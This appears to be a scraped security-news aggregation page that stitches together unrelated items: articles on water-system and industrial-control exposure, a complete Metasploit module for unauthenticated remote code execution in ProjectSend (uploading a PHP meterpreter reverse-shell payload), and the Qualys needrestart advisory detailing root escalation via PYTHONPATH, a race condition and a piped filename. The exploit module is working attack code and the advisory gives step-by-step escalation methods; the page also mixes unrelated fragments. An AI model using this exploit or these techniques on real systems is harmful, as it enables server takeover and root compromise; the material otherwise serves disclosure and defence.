At least 97 major water systems in the US have serious cybersecurity vulnerabilities and compliance issues, raising concerns that cyberattacks could disrupt businesses, industry, and the lives of millions of citizens.

Source: Clare Louise Jackson via Shutterstock

Despite a spate of recent cyberattacks raising the awareness of water-infrastructure vulnerabilities, nearly 100 large community water systems (CWS) continue to have serious security weaknesses in Internet-facing systems, putting the water supply of nearly 27 million Americans at risk.

The critical and high-severity vulnerabilities affect more than 9% of the 1,062 water systems in the United States that serve at least 50,000 people, according to an Environmental Protection Agency (EPA) report released on Nov. 13. The vulnerabilities were discovered through passive assessments conducted in October that looked at more than 75,000 IP addresses and 14,400 domains.

Overall, millions of citizens — along with businesses, schools, and hospitals — rely on the affected water systems. "If malicious actors exploited the cybersecurity vulnerabilities we identified in our passive assessment, they could disrupt service or cause irreparable physical damage to drinking water infrastructure," the EPA stated.

Over the past three years, water systems have become increasingly targeted by state-sponsored groups, ransomware gangs, and hacktivists. In 2023, Iran-linked cyberattackers compromised programmable logic controllers (PLCs) at a water utility in Pennsylvania, as well as 10 wastewater treatment plants in Israel. In 2021, a hacker targeted a water treatment plant in Florida and even changed the chemical mixture for the water, but did not have the sophistication to evade detection. In September, a water treatment plant in Arkansas City, Kan., switched to manual operation after the facility was the target of a cybersecurity incident.

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Water system vulnerabilities are a critical issue that could impact businesses, especially power-generation systems and data centers, but especially have the potential to cause human harm, says Vinod D'Souza, head of manufacturing and industry in the Office of the CISO at Google Cloud.

"Water utilities are unique in the \[operational technology\] OT world because they directly impact public health, requiring stringent security to prevent catastrophic consequences like contaminated water supplies," he says. "Their geographical spread and complex systems pose distinct cybersecurity challenges not found in other sectors."

**Water, Water, Everywhere ... Nary a Drop of Security?**

The United States has nearly 150,000 water systems, consisting of three types of public infrastructure. Community water systems (CWS) provide water to residents living in a town or city year-round and account for approximately a third (33.7%) of water systems. Transient noncommunity water systems (TNCWS) supply water to travelers and visitors to a specific location — such as a campground or gas station — but not on a permanent basis. These make up 54.3% of public water systems. The final 12% of systems consist of nontransient noncommunity water systems (NTNCWS), which provide water to people in nonresidential locations — such as schools, businesses, and hospitals.

Related:Going Beyond Secure by Demand

Because many water agencies are small and serving communities, they face the same challenges as other local government agencies: a lack of resources, legacy technology, architectures that were not designed to be defensible, and a lack of visibility, says Paul Shaver, global practice lead for ICS/OT security consulting at Google Cloud's Mandiant division.

"This is compounded by the fact that many municipal water agencies have financial constraints that make it difficult to identify risk and develop security capabilities that are appropriate for their organization size," he says.

By EPA regulation, any water systems serving more than 3,300 people must conduct risk assessments, including cybersecurity assessments, and develop emergency response plans. But most do not have the money, and without the funding, the utilities are hard pressed to comply with regulations, Shaver says.

Related:Small US Cyber Agencies Are Underfunded & That's a Problem

The criticality of these systems and their relative lack of protection has government officials worried. In May, the EPA warned that Iran and Russia had stepped up their attacks on water systems in the United States, while the Cybersecurity and Infrastructure Security Agency (CISA) released a cyber-incident response guide for the water and wastewater sector earlier this year.

The May 2024 alert from the EPA noted that "water systems had inadequate risk and resilience assessments and emergency response plans ... \[and\] found significant failures in best practices, such as failure to change default passwords, use of single logins for all staff, and failure to curtail access by former employees."

**US Needs More Investment in Water System Cyber Defense**

Even with the current requirements, many water utilities are already failing to meet their cybersecurity obligations, Google Cloud's D'Souza says.

"Simply increasing regulations won't solve this problem, and merely highlights the financial constraints preventing utilities from adequately protecting critical infrastructure," he says.

Overall, the federal government needs to do more than offer regulations and best practices. In many respects, the water sector is no different than any other critical infrastructure sector with a great deal of operational technology, says Sean Arrowsmith, head of industrials at NCC Group, a cybersecurity consultancy.

"Generally, OT protocols were designed when security was not so much of a consideration but the devices and infrastructure they run is deployed for a long lifetime and now there are business drivers to collect data from them and converge OT with IT, which is where the security challenges arise," he says.

In addition, Arrowsmith says that the amount of legacy infrastructure and breadth of the attack surface area continues to make securing water infrastructure challenging.

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Leaky Cybersecurity Holes Put Water Systems at Risk

A China-linked nation-state group called TAG-112 compromised Tibetan media and university websites in a new cyber espionage campaign designed to facilitate the delivery of the Cobalt Strike post-exploitation toolkit for follow-on information collection.
"The attackers embedded malicious JavaScript in these sites, which spoofed a TLS certificate error to trick visitors into downloading a

China-Linked TAG-112 Targets Tibetan Media with Cobalt Strike Espionage Campaign

73% of globally exposed ICS systems are in the US and Europe, with the US leading at 38%.…

73% of globally exposed ICS systems are in the US and Europe, with the US leading at 38%. Vulnerabilities in outdated protocols and exposed HMIs put critical infrastructure at severe risk, says Censys.

The Internet has revolutionized numerous industries, including manufacturing, energy, and water treatment. However, as more and more **industrial control systems** (ICS) are connected to the internet, they become increasingly vulnerable to cyberattacks. 

According to Censys’ annual State of the Internet Report, shared with Hackread.com, internet-exposed human-machine interfaces (HMIs) are the emerging new threat in ICS security. For your information, HMIs are the graphical interfaces used to monitor and control industrial systems.

The screenshot displays the HMI for a three-pump system, featuring options to monitor alarms, manage controls, and adjust system setpoints (Image credit: Censys).

Researchers at Censys, a leading internet intelligence company, observed that HMIs have become increasingly connected to the internet to enable remote access and management. This connectivity has opened the door to cyberattacks. This is concerning as in 2023 and 2024, we witnessed a series of attacks targeting internet-exposed HMIs, demonstrating the potential for significant disruption and damage.

One notable attack was carried out by the CyberAv3ngers, an Iranian hacking group, **who targeted** a water treatment facility in Pennsylvania, exploited a vulnerable HMI to gain control of the system and defaced it with an anti-Israel message. Another significant attack was from the Cyber Army of Russia Reborn, which **attacked** water facilities in Texas, manipulating HMIs to cause water storage tanks to overflow.

Censys’ report reveals that there are over 145,000 exposed ICS services worldwide, and over 40,000 Internet-connected ICS located in the United States with over half of them linked to building control and automation protocols.

“38% of these services are in North America, 35% are in Europe, and 22% are in Asia. The U.S. alone is responsible for over one-third of global ICS service exposures,” Censys’ **report** read.

The study also found that 18,000 exposed devices were more likely to control industrial systems. In the UK, approximately 1,500 control systems exposed on the public Internet were identified through scans of 18 automation protocols. Over 80% of these administration interfaces are for building controls.

Additionally, over 50% of hosts running low-level automation protocols are concentrated in ISPs, while over 80% of hosts running exposed HMIs are found in wireless networks like Verizon and AT&T. Moreover, about half of the HMIs associated with Water and Wastewater could be manipulated without authentication.

These exposed systems become a tempting target for cybercriminals and nation-state actors who could potentially disrupt critical infrastructure.

Researchers have also observed a high prevalence of outdated and insecure protocols. Many of these protocols, such as Modbus, S7, and IEC 60870-5-104, are decades old and lack advanced security features. Researchers discovered nearly 200 hosts running HMIs that were also running products from vendors explicitly prohibited by the US’s National Defense Authorization Act (NDAA) Section 889. 

The report highlights the need for operators to be mindful of what products and software they allow to run alongside industrial processes. Researchers recommend that security teams must examine the exposure of these protocols and HMIs, which for a vital component of the security of industrial control systems.

1.  **Malware can fully compromise building control systems**
2.  **Flaws can let hackers physically damage moving bridges**
3.  **Flaws in US Drinking Water Systems Put 26 Million at Risk**
4.  **Propump and Controls’ Osprey Pump Controller vulnerable**
5.  **Ransomware targeted SCADA systems of 3 US water facilities**

US and Europe Account for 73% of Global Exposed ICS Systems

This Metasploit module exploits vulnerabilities in OpenPrinting CUPS, which is running by default on most Linux distributions. The vulnerabilities allow an attacker on the LAN to advertise a malicious printer that triggers remote code execution when a victim sends a print job to the malicious printer. Successful exploitation requires user interaction, but no CUPS services need to be reachable via accessible ports. Code execution occurs in the context of the lp user. Affected versions are cups-browsed less than or equal to 2.0.1, libcupsfilters versions 2.1b1 and below, libppd versions 2.1b1 and below, and cups-filters versions 2.0.1 and below.

CUPS IPP Attributes LAN Remote Code Execution

This Metasploit module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.

    class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::PhpEXE  prepend Msf::Exploit::Remote::AutoCheck  class CSRFRetrievalError < StandardError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.          The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,          disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.        },        'License' => MSF_LICENSE,        'Author' => [          'Florent Sicchio', # Discovery          'Hugo Clout', # Discovery          'ostrichgolf' # Metasploit module        ],        'References' => [          ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],          ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],        ],        'DisclosureDate' => '2024-07-19',        'DefaultTarget' => 0,        'Targets' => [          [            'PHP Command',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ]        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new(          'TARGETURI',          [true, 'The TARGETURI for ProjectSend', '/']        )      ]    )  end  def check    # Obtain the current title of the website    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    return CheckCode::Unknown('Target is not reachable') unless res    # The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"    title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}    original_title = res.body[title_regex, 1]    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      return CheckCode::Unknown("#{e.class}: #{e}")    end    # Generate a new title for the website    random_new_title = Rex::Text.rand_text_alphanumeric(8)    # Test if the instance is vulnerable by trying to change its title    params = {      'csrf_token' => csrf_token,      'section' => 'general',      'this_install_title' => random_new_title    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })    return CheckCode::Unknown('Failed to connect to the provided URL') unless res    # GET request to check if the title updated    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    # Extract new title for comparison    updated_title = res.body[title_regex, 1]    if updated_title != random_new_title      return CheckCode::Safe    end    # If the title was changed, it is vulnerable and we should restore the original title    params = {      'csrf_token' => csrf_token,      'section' => 'general',      'this_install_title' => original_title    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })    return CheckCode::Appears  end  def get_csrf_token    vprint_status('Extracting CSRF token...')    # Make sure we start from a request with no cookies    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'keep_cookies' => true    })    unless res      fail_with(Failure::Unknown, 'No response from server')    end    # Obtain CSRF token    csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text    raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?    vprint_good("Extracted CSRF token: #{csrf_token}")    csrf_token  end  def enable_user_registration_and_auto_approve    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files    params = {      'csrf_token' => csrf_token,      'section' => 'clients',      'clients_can_register' => 1,      'clients_auto_approve' => 1,      'clients_can_upload' => 1,      'clients_can_delete_own_files' => 1,      'clients_auto_group' => 0,      'clients_can_select_group' => 'none',      'expired_files_hide' => '1'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })    # Check if we successfully enabled clients registration    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    if res&.code == 200 && res.body.include?('Register as a new client.')      print_good('Client registration successfully enabled')    else      fail_with(Failure::Unknown, 'Could not enable client registration')    end  end  def register_new_user(username, password)    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Create a new user with the previously generated username and password    params = {      'csrf_token' => csrf_token,      'name' => username,      'username' => username,      'password' => password,      'email' => Rex::Text.rand_mail_address,      'address' => Rex::Text.rand_text_alphanumeric(8)    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),      'keep_cookie' => true,      'vars_post' => params    })    fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403    print_good("User #{username} created with password #{password}")  end  def disable_upload_restrictions    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    print_status('Disabling upload restrictions...')    # Disable upload restrictions, to allow us to upload our shell    params = {      'csrf_token' => csrf_token,      'section' => 'security',      'file_types_limit_to' => 'noone'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })  end  def login(username, password)    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    print_status("Logging in as #{username}...")    # Attempt to login as our newly created user    params = {      'csrf_token' => csrf_token,      'do' => 'login',      'username' => username,      'password' => password    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'vars_post' => params,      'keep_cookies' => true    })    # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login    if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))      print_good("Logged in as #{username}")      return csrf_token    else      fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')    end  end  def upload_file(username, password, filename)    login(username, password)    # Craft the payload    payload = get_write_exec_payload(unlink_self: true)    data = Rex::MIME::Message.new    data.add_part(filename, nil, nil, 'form-data; name="name"')    data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")    post_data = data.to_s    # Upload the shell using a POST request    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),      'ctype' => "multipart/form-data; boundary=#{data.bound}",      'data' => post_data,      'keep_cookies' => true    })    # Check if the server confirms our upload as successful    if res && res.body.include?('"OK":1')      print_good("Successfully uploaded PHP file: #{filename}")      json_response = res.get_json_document      @file_id = json_response.dig('info', 'id')      return res.headers['Date']    else      fail_with(Failure::Unknown, 'PHP file upload failed')    end  end  def calculate_potential_filenames(username, upload_time, filename)    # Hash the username    hashed_username = Digest::SHA1.hexdigest(username)    # Parse the upload time    base_time = Time.parse(upload_time).utc    # Array to store all possible URLs    possible_urls = []    # Iterate over all timezones    (-12..14).each do |timezone|      # Update the variable to reflect the currently looping timezone      adj_time = base_time + (timezone * 3600)      # Insert the potential URL into our array      possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"    end    possible_urls  end  def cleanup    super    # Delete uploaded file    if @file_id      cookie_jar.clear      csrf_token = login(@username, @password)      # Delete our uploaded payload from the portal      params = {        'csrf_token' => csrf_token,        'action' => 'delete',        'batch[]' => @file_id      }      send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),        'vars_post' => params,        'keep_cookies' => true      })      # Version r1295 uses a GET request to delete the uploaded file      send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),        'keep_cookies' => true,        'vars_get' => {          'action' => 'delete',          'batch[]' => @file_id        }      })    end    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files    params = {      'csrf_token' => csrf_token,      'section' => 'clients',      'clients_can_register' => 0,      'clients_auto_approve' => 0,      'clients_can_upload' => 0,      'clients_can_delete_own_files' => 0    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })    # Check if we successfully disabled client registration    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    if res&.body&.include?('Register as a new client.')      fail_with(Failure::Unknown, 'Could not disable client registration')    end    print_good('Client registration successfully disabled')    print_status('Enabling upload restrictions...')    # Enable upload restrictions for every user    params = {      'csrf_token' => csrf_token,      'section' => 'security',      'file_types_limit_to' => 'all'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })  end  def trigger_shell(potential_urls)    # Visit each URL, to trigger our payload    potential_urls.each do |url|      send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)      }, 1)    end  end  def exploit    enable_user_registration_and_auto_approve    username = Faker::Internet.username    password = Rex::Text.rand_text_alphanumeric(8)    filename = Rex::Text.rand_text_alphanumeric(8) + '.php'    # Set instance variables for cleanup function    @username = username    @password = password    register_new_user(username, password)    disable_upload_restrictions    upload_time = upload_file(username, password, filename)    potential_urls = calculate_potential_filenames(username, upload_time, filename)    trigger_shell(potential_urls)  endend

ProjectSend R1605 Unauthenticated Remote Code Execution

Qualys discovered that needrestart suffers from multiple local privilege escalation vulnerabilities that allow for root access from an unprivileged user.

  
Qualys Security Advisory

LPEs in needrestart (CVE-2024-48990, CVE-2024-48991, CVE-2024-48992,  
CVE-2024-10224, and CVE-2024-11003)

========================================================================  
Contents  
========================================================================

Summary  
Background  
CVE-2024-48990 (and CVE-2024-48992)  
CVE-2024-48991  
CVE-2024-10224 (and CVE-2024-11003)  
Mitigation  
Acknowledgments  
Timeline

    I got bugs  
    I got bugs in my room  
    Bugs in my bed  
    Bugs in my ears  
    Their eggs in my head  
        -- Pearl Jam, "Bugs"

========================================================================  
Summary  
========================================================================

needrestart (from https://github.com/liske/needrestart) is a Perl tool  
that is installed by default on Ubuntu Server since version 21.04. From  
https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts:

------------------------------------------------------------------------  
  What is needrestart, exactly?

  needrestart is a tool that probes your system to see if either the  
  system itself or some of its services should be restarted. That last  
  part is the one of interest in this document. Notably, a service is  
  considered as needing to be restarted if one of its processes is using  
  a shared library whose initial file isn't on the system anymore (for  
  instance, if it has been overwritten by a new version as part of a  
  package update).

  We ship this tool in our server images, and it is configured by  
  default to run at the end of APT transactions, e.g. when doing apt  
  install/upgrade/remove or during unattended-upgrades.  
------------------------------------------------------------------------

We discovered three fundamental vulnerabilities in needrestart (three  
LPEs, Local Privilege Escalations, from any unprivileged user to full  
root), which are exploitable without user interaction on Ubuntu Server  
(through unattended-upgrades):

- CVE-2024-48990: local attackers can execute arbitrary code as root by  
  tricking needrestart into running the Python interpreter with an  
  attacker-controlled PYTHONPATH environment variable.

  Last-minute update: an additional CVE, CVE-2024-48992, has been  
  assigned to needrestart because local attackers can also execute  
  arbitrary code as root by tricking needrestart into running the Ruby  
  interpreter with an attacker-controlled RUBYLIB environment variable.

- CVE-2024-48991: local attackers can execute arbitrary code as root by  
  winning a race condition and tricking needrestart into running their  
  own, fake Python interpreter (instead of the system's real Python  
  interpreter).

- CVE-2024-10224: local attackers can execute arbitrary shell commands  
  as root by tricking needrestart into open()ing a filename of the form  
  "commands|" (technically, this vulnerability is in Perl's ScanDeps  
  module, but it is unclear whether this module was ever meant to  
  operate on attacker-controlled files or not).

  Last-minute update: in the end, an additional CVE, CVE-2024-11003, has  
  been assigned to needrestart for calling Perl's ScanDeps module with  
  attacker-controlled files.

To the best of our knowledge, these vulnerabilities have existed since  
the introduction of interpreter support in needrestart 0.8 (April 2014).  
>From https://github.com/liske/needrestart#interpreters:

------------------------------------------------------------------------  
  needrestart 0.8 brings an interpreter scanning feature. Interpreters  
  not only map binary (shared) objects but also use plaintext source  
  files. The interpreter detection tries to check for outdated source  
  files since they may contain security issues, too. This is only a  
  heuristic and might fail to detect all relevant source files. The  
  following interpreter scanners are shipped:

  - NeedRestart::Interp::Java  
  - NeedRestart::Interp::Perl  
  - NeedRestart::Interp::Python  
  - NeedRestart::Interp::Ruby  
------------------------------------------------------------------------

We will not publish our exploits for now; however, please note that  
these vulnerabilities are trivially exploitable, and other researchers  
might publish working exploits shortly after this coordinated release.

========================================================================  
Background  
========================================================================

    And now the questions:  
    Do I kill them?  
    Become their friend?  
    Do I eat them?  
        -- Pearl Jam, "Bugs"

While idly watching an "apt-get upgrade" of one of our Ubuntu Servers,  
we noticed a message that we had never noticed before: "Scanning  
processes..."

We immediately wondered: What is printing this message? Is it scanning  
userland processes? As root? Even processes that do not belong to root?

We quickly found out that this message is printed by needrestart, a tool  
that scans the userland for processes that need to be restarted after a  
package installation, upgrade, or removal. Naturally, needrestart scans  
all userland processes as root, including unprivileged user processes;  
i.e., possibly attacker-controlled processes.

========================================================================  
CVE-2024-48990 (and CVE-2024-48992)  
========================================================================

To determine whether a Python process (a process that is running the  
Python interpreter) needs to be restarted, needrestart extracts the  
PYTHONPATH environment variable from this process's /proc/pid/environ  
(at line 193), sets this environment variable if it exists (at line  
196), and executes Python ("$ptable->{exec}" at line 203) with a "-"  
argument to read a short, hard-coded script from stdin (at line 204):

------------------------------------------------------------------------  
135 sub files {  
136     my $self = shift;  
137     my $pid = shift;  
138     my $cache = shift;  
139     my $ptable = nr_ptable_pid($pid);  
...  
193     my %e = nr_parse_env($pid);  
194     local %ENV;  
195     if(exists($e{PYTHONPATH})) {  
196         $ENV{PYTHONPATH} = $e{PYTHONPATH};  
197     }  
...  
203     my ($pyread, $pywrite) = nr_fork_pipe2($self->{debug}, $ptable->{exec}, '-');  
204     print $pywrite "import sys\nprint(sys.path)\n";  
205     close($pywrite);  
------------------------------------------------------------------------

Unfortunately, if a Python process belongs to a local attacker, then  
needrestart executes Python (at line 203) with an attacker-controlled  
PYTHONPATH environment variable, which allows the attacker to execute  
arbitrary code as root (even though needrestart's hard-coded Python  
script at line 204 is not attacker-controlled at all). This is  
CVE-2024-48990.

For example, in our exploit we run a simple Python process (which  
sleep()s forever) with a "PYTHONPATH=/home/jane" environment variable,  
and plant a shared library "importlib/__init__.so" in our /home/jane.  
As soon as needrestart executes Python with our PYTHONPATH environment  
variable (at line 203), our shared library is executed (by Python's  
initialization code) and creates a SUID-root shell in /home/jane.

Note: needrestart's support code for the Ruby interpreter seems equally  
vulnerable, but we have not investigated this any further, because  
(unlike Python) Ruby is not installed by default on Ubuntu Server.

Last-minute update: we have now confirmed that needrestart's support  
code for the Ruby interpreter is indeed vulnerable and exploitable,  
through an attacker-controlled RUBYLIB environment variable and an  
"enc/encdb.so" shared library. This is CVE-2024-48992.

========================================================================  
CVE-2024-48991  
========================================================================

To determine whether a process is indeed a Python process (a process  
that is running the Python interpreter, for example /usr/bin/python3),  
needrestart reads this process's /proc/pid/exe (at line 520), and then  
matches it against the regular expression at line 45:

------------------------------------------------------------------------  
 520         my $exe = nr_readlink($pid);  
 ...  
 606             $restart++ if(needrestart_interp_check($nrconf{verbosity} > 1, $pid, $exe, $nrconf{blacklist_interp}, $opt_t));  
------------------------------------------------------------------------  
166 sub needrestart_interp_check($$$$$) {  
167     my $debug = shift;  
168     my $pid = shift;  
169     my $bin = shift;  
170     my $blacklist = shift;  
171     my $tolerance = shift;  
...  
176         if($interp->isa($pid, $bin)) {  
------------------------------------------------------------------------  
 40 sub isa {  
 41     my $self = shift;  
 42     my $pid = shift;  
 43     my $bin = shift;  
 44   
 45     return 1 if($bin =~ m@^/usr/(local/)?bin/python([23][.\d]*)?$@);  
 46   
 47     return 0;  
 48 }  
------------------------------------------------------------------------

In fact, this code used to be vulnerable to CVE-2022-30688, a Local  
Privilege Escalation reported by Jakub Wilk: the regular expression at  
line 45 used to be unanchored (i.e., "/usr/(local/)?bin/python" instead  
of "^/usr/(local/)?bin/python([23][.\d]*)?$"), so local attackers could  
simply run their own, fake "/home/jane/usr/bin/python" (for example) and  
needrestart would later execute this fake Python interpreter as root (as  
if it were the system's real Python interpreter, at line 203).

We tried to bypass the fixed, anchored regular expression at line 45,  
but we failed. However, we eventually realized that the filename that is  
checked at line 45 is not necessarily the same filename that is executed  
at line 203: the filename that is checked is read from /proc/pid/exe in  
the middle of needrestart's main loop (at line 520), but the filename  
that is executed ("$ptable->{exec}" at line 203) was first read from  
/proc/pid/exe long before needrestart entered its main loop.

In other words, needrestart is vulnerable to a TOCTOU race condition  
(time-of-check, time-of-use). For example, our exploit /home/jane/race  
waits for needrestart to read our /proc/pid/exe for the first time (we  
use inotify to reliably win this race), and then quickly execve()s the  
system's real Python interpreter with a script that simply sleep()s for  
some time. As a result, needrestart does its checks on the real Python  
interpreter, but executes our own /home/jane/race instead, as root.

Note: needrestart's support code for the Ruby interpreter seems equally  
vulnerable, but we have not investigated this any further.

========================================================================  
CVE-2024-10224 (and CVE-2024-11003)  
========================================================================

After we had discovered CVE-2024-48990 and CVE-2024-48991 in  
needrestart's support code for the Python interpreter (and Ruby), we  
began to wonder whether the support code for the Perl interpreter might  
also be vulnerable to a Local Privilege Escalation.

Unlike needrestart's support code for Python and Ruby, the support code  
for Perl does not execute the Perl interpreter itself: instead, it calls  
the scan_deps() function from Perl's ScanDeps module, which analyzes a  
Perl script by recursively reading its source files.

We therefore grepped the ScanDeps module for one of the oldest pitfalls  
of the Perl programming language: the two-argument form of open(), which  
allows attackers to execute arbitrary shell commands if they control the  
name of the file to be open()ed (for example, "commands|"). For more  
information, please refer to rain.forest.puppy's 1999 Phrack article  
("That pesky pipe" section) and the SEI CERT Perl Coding Standard:

  https://phrack.org/issues/55/7.html#article  
  https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543

Incredibly, we found a match, at line 871 in ScanDeps.pm:

------------------------------------------------------------------------  
 868 sub scan_file{  
 869     my $file = shift;  
 870     my %found;  
 871     open my $fh, $file or die "Cannot open $file: $!";  
------------------------------------------------------------------------

In our exploit, we simply run a Perl script named "/home/jane/perl|"  
(which sleep()s forever), and as soon as needrestart calls scan_deps()  
to analyze our script, "/home/jane/perl|" is open()ed (at line 871), but  
because this filename ends with a "|" it is treated as a shell command,  
and our own "/home/jane/perl" is executed instead, as root.

Last-minute update: while reviewing needrestart's patches for these  
vulnerabilities, we have discovered that Perl's ScanDeps module is also  
trivially exploitable through various calls to eval() ("string" eval()s,  
https://perldoc.perl.org/functions/eval). Consequently and impressively,  
in response to our advisory:

- all of ScanDeps's vulnerable calls to open() and eval() have been  
  patched, thus fixing CVE-2024-10224;

- needrestart's dependence on ScanDeps has been completely removed (it  
  uses a simple regex-based approach now), thus fixing CVE-2024-11003.

========================================================================  
Mitigation  
========================================================================

As already recommended by needrestart's advisory for CVE-2022-30688  
(from https://www.openwall.com/lists/oss-security/2022/05/17/9):

------------------------------------------------------------------------  
Disabling the interpreter heuristic in needrestart's config prevents  
this attack:

 # Disable interpreter scanners.  
 $nrconf{interpscan} = 0;  
------------------------------------------------------------------------

========================================================================  
Acknowledgments  
========================================================================

We thank needrestart's maintainer (Thomas Liske), Module::ScanDeps's  
maintainers (Roderich Schupp in particular), the Ubuntu Security Team  
(Mark Esler in particular), and distros@openwall (Salvatore Bonaccorso  
from the Debian Security Team in particular) for their outstanding work;  
it has been a real pleasure to collaborate on this coordinated release.

We also thank Adam Boileau (@metlstorm) and Rodrigo Branco (@bsdaemon)  
for their very kind words about our work; they mean the world to us:

  https://risky.biz/RB755/  
  https://phrack.org/issues/71/2.html#article

========================================================================  
Timeline  
========================================================================

2024-10-04: We sent our advisory and exploits to the Ubuntu Security  
Team, and asked them if they could help us to coordinate this disclosure  
with the upstream projects and distros@openwall; they gladly accepted.

2024-10-08: The Ubuntu Security Team sent our advisory and exploits to  
needrestart's maintainer; we then started a very constructive exchange  
of patches and patch reviews.

2024-10-18: The Ubuntu Security Team opened GHSA-g597-359q-v529, a  
private GitHub repository to collaborate on this disclosure with  
Module::ScanDeps's maintainers.

2024-11-11: The Ubuntu Security Team sent our advisory and all of  
needrestart's and Module::ScanDeps's patches to distros@openwall.

2024-11-19: Coordinated Release Date (16:00 UTC).

needrestart Local Privilege Escalation

fronsetia version 1.1 suffers from a cross site scripting vulnerability.

